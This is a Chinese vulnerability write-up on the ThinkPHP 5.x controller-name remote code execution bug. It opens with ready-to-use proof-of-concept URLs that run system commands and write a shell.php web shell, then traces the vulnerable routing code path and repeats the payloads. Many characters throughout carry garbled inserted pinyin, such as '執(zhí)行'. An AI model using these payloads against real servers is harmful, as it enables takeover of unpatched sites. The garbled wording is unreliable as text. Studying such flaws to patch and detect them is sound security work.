0x01 漏洞利用方式
5.0版本POC(不唯一)
命令執(zhí)行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系統(tǒng)命令]
文件寫(xiě)入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
5.1版本POC(不唯一)
命令執(zhí)行:?s=index/\think\Request/input&filter=system&data=[系統(tǒng)命令]
文件寫(xiě)入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
0x02 漏洞分析
版本: Thinkphp v5.1.29(影響版本<5.1.31和<5.0.23)
本次分析環(huán)境:PHP/7.0.12 + Apache2
ThinkPHP官方在12月9日發(fā)布了5.*版本的更新,更新說(shuō)明“由于框架對(duì)控制器名沒(méi)有進(jìn)行足夠的檢測(cè)會(huì)導(dǎo)致在沒(méi)有開(kāi)啟強(qiáng)制路由的情況下可能的getshell漏洞”,所以漏洞的觸發(fā)在路由調(diào)度時(shí),thinkphp中由函數(shù)pathinfo()來(lái)獲取路由,定位函數(shù)查看:/thinkphp/library/think/Request.php:678行

其中在文件31行定義了var_pathinfo的默認(rèn)值為s :
// PATHINFO變量名 用于兼容模式
'var_pathinfo' => 's'
所以當(dāng)請(qǐng)求報(bào)文中以GET形式傳入s參數(shù)是,則將其值作為pathinfo。全局查找pathinfo()函數(shù)的調(diào)用情況,可以發(fā)現(xiàn)同文件下path函數(shù)對(duì)其進(jìn)行調(diào)用,定位path()函數(shù)查看:/thinkphp/library/think/Request.php:716行
調(diào)用pathinfo()函數(shù)獲取路由信息,并將返回值賦值給了$this->path,所以我們可以控制該變量,即path()函數(shù)的返回值,繼續(xù)跟蹤path函數(shù)的調(diào)用情況,定位函數(shù)routecheck():/thinkphp/library/think/App.php:583行

該函數(shù)進(jìn)行路由檢測(cè),且將我們可控的$path變量傳遞到了check()函數(shù)中進(jìn)行處理,定位查看check()函數(shù):/thinkphp/library/think/Route.php:877行

這里我們就可以看出為何官方說(shuō)明,在開(kāi)啟強(qiáng)制路由的情況下不受該漏洞的影響,如果開(kāi)啟強(qiáng)制路由,則check處理傳入的由我們構(gòu)造的$url變量時(shí)會(huì)實(shí)例化RouteNotFoundException對(duì)象,即報(bào)出對(duì)應(yīng)的錯(cuò)誤。

而默認(rèn)路由解析情況下,check()函數(shù)實(shí)例化了UrlDispatch對(duì)象,并將$url傳遞給了構(gòu)造函數(shù)進(jìn)行處理,UrlDispatch繼承Dispatch,分析其父類(lèi)Dispatch的構(gòu)造函數(shù),跟蹤查看:library/think/route/Dispatch.php:64行

傳入的$dispatch變量值賦值給了$this->dispatch,全局收索$this->diapatch的處理情況,最終會(huì)傳入U(xiǎn)rl類(lèi)中的init()函數(shù)進(jìn)行處理,跟蹤查看init()函數(shù):/thinkphp/library/think/route/dispatch/Url.php:20行

init()函數(shù)調(diào)用parseUrl()函數(shù)對(duì)$this->diapatch變量進(jìn)行處理,跟蹤查看:/thinkphp/library/think/route/dispatch/Url.php:37行

ParseUrl()函數(shù)又將變量傳入到了parseUrlPath()函數(shù)中,繼續(xù)定位查看parseUrlPath()函數(shù):/thinkphp/library/think/route/Rule.php:951行

利用‘/’對(duì)$url變量進(jìn)行分割,且$url的格式為‘模塊/控制器/操作’,將$url分割后的值存放在$path變量當(dāng)中,并返回到parseUrl()函數(shù),最終返回到Url類(lèi)中init()函數(shù): /thinkphp/library/think/route/dispatch/Url.php:20行

最終分割后封裝好的路由信息數(shù)組傳遞到了$result變量中,隨后傳遞到了Module的構(gòu)造函數(shù)進(jìn)行處理,由于Module的父類(lèi)也是Dispatch,即將$result值傳遞給了變量$this->dispatch,隨后調(diào)用Module類(lèi)的init()函數(shù)對(duì)$this->dispatch進(jìn)行處理,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行

在初始化模塊的判斷語(yǔ)句中,對(duì)$module進(jìn)行判斷,則需要$available的值為true,即需要is_dir($this->app->getAppPath() . $module 的判斷條件成立,由于默認(rèn)模塊是index,所以入口模塊為index,也可以用‘.’進(jìn)行替換。$this->dispatch的值最終傳遞到$this->controller中,init()函數(shù)處理完過(guò)后,進(jìn)入exec()函數(shù),查看函數(shù)代碼: /thinkphp/library/think/route/dispatch/Module.php:85行

exec()函數(shù)將變量$this->controller傳遞給了controller()函數(shù)進(jìn)行處理,繼續(xù)跟蹤controller()進(jìn)行查看:/thinkphp/library/think/App.php:720行


當(dāng)$name中存在’\’時(shí),直接將$name值賦給$class,然后實(shí)例化$class,并返回,這里可能有些人不知道為什么會(huì)實(shí)例化$class,在parseModuleAndClass()函數(shù)執(zhí)行后返回到controller()函數(shù)中

其中返回了$class變量,所以調(diào)用魔術(shù)方法__get()函數(shù)進(jìn)行處理,App類(lèi)是繼承于Container的,所以可以去查看Container類(lèi)中的魔術(shù)方法__get()
public function __get($name)
{
return $this->make($name);
}
__get()調(diào)用了make()函數(shù),跟蹤查看:/thinkphp/library/think/Container.php:260行

make()將傳入的傳入的變量實(shí)例化為一個(gè)類(lèi),即controller()中$name為我們可以控制的值,可以通過(guò)構(gòu)造$name變量來(lái)實(shí)例化任何一個(gè)類(lèi),所以我們可以通過(guò)構(gòu)造s=index/\think\class/method來(lái)實(shí)例化\think\class類(lèi)并且執(zhí)行該類(lèi)的method方法達(dá)到控制程序流,由于Rule.php中parseUrlPath()函數(shù)中:
$url = str_replace('|', '/', $url);
所以也可以使用’|’進(jìn)行進(jìn)行構(gòu)造,即index|\think\class|method。在\think\Request類(lèi)中找到可以利用的方法input:

通過(guò)構(gòu)造payload:
s=index/\think\Request/input&filter=phpinfo&data=1
即可調(diào)用phpinfo函數(shù),調(diào)用system()函數(shù)便可以任意命令執(zhí)行。

在\think\template\driver\file類(lèi)中找到可以任意寫(xiě)文件的方法write:

所以通過(guò)構(gòu)造payload:
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

便可以在網(wǎng)站根目錄寫(xiě)入任意惡意文件,從而達(dá)到控制目標(biāo)服務(wù)器的目的,可以調(diào)用進(jìn)行惡意操作的類(lèi)比較多。
對(duì)于Thinkphp5.0版本的,其路由控制器實(shí)現(xiàn)原理是一樣的,只是各種調(diào)用方式和函數(shù)名不太相同,這里不詳細(xì)分析,漏洞利用時(shí)調(diào)用的方法不一樣,通過(guò)查找可以利用app類(lèi)中的invokeFunction方法:
通過(guò)實(shí)例化ReflectionFunction類(lèi),調(diào)用function函數(shù),由于變量$var為數(shù)組,所以可以構(gòu)造payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通過(guò)構(gòu)造payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
便可以達(dá)到任意寫(xiě)的目的:

同5.1版本一樣,其parseUrlPath函數(shù)在處理$url時(shí)也進(jìn)行了替換處理:
$url = str_replace('|', '/', $url);
所以payload中的’/’也可以利用’|’進(jìn)行替換。該漏洞的利用方法不唯一,針對(duì)Thinkphp5.*的不同版本可以尋找不同的類(lèi)進(jìn)行調(diào)用。
漏洞分析僅用于學(xué)習(xí)!??!一切實(shí)際攻擊利用行為概不負(fù)責(zé)。